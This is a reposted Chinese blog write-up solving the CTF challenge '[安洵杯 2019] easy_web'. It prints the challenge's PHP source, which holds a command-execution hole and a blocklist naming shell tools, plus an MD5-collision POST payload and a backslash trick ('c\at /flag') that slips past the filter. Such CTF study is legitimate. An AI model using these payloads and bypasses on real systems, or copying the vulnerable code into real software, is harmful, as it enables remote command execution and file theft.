小言_互联网的博客

[安洵杯 2019]easy_web

373人阅读  评论(0)

[安洵杯 2019]easy_web
题目:
打开环境,得到;

在url栏里发现了这一串代码:

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

前面的img很明显是加了密的,所以尝试去解密,先试试base64解密,得到:

继续base64解密:

猜测其为base16加密,解密得到:

555.png应该就是上面的这张图片了:

emmmmmm…
好像没什么很大的用,不过倒是可以去把index.php按照这几种加密方式顺序去加密:
先base16,再来两次base64,得到:

TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

访问过后,在源码里得到:

直接base64解密就行:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
   
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
   
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
   
    echo("forbid ~");
    echo "<br>";
} else {
   
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
   
        echo `$cmd`;
    } else {
   
        echo ("md5 is funny ~");
    }
}

?>

接下来就是进行代码审计了,重点是这几段代码:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
   
    echo("forbid ~");
    echo "<br>";
} else {
   
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
   
        echo `$cmd`;
    } else {
   
        echo ("md5 is funny ~");
    }
}

现在的想法就是用md5的强碰撞,然后去执行echo `$cmd`;
构造payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2


不过不知道为什么,在直接用post传参的时候,始终会出现报错(MD5 is funny),但用bp不会:

很明显的看到,没有出现报错回显,所以是绕过了的
现在难点就是去绕过正则的匹配了
看下过滤的限制:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))

绝大部分能查看的命令都被过滤了,不过dir没有被过滤,所以先来用dir看下目录:

里面出现了flag的字样,不过该怎么去读取flag呢?

|\*|\?|\\|\\\\|\n|\t|\r|

这里说下关于正则匹配里的反斜杠知识:

在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\
故此处并没有过滤掉\

那这就好办了,直接用命令c\at /flag就行


转载:https://blog.csdn.net/qq_51652864/article/details/116200079
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场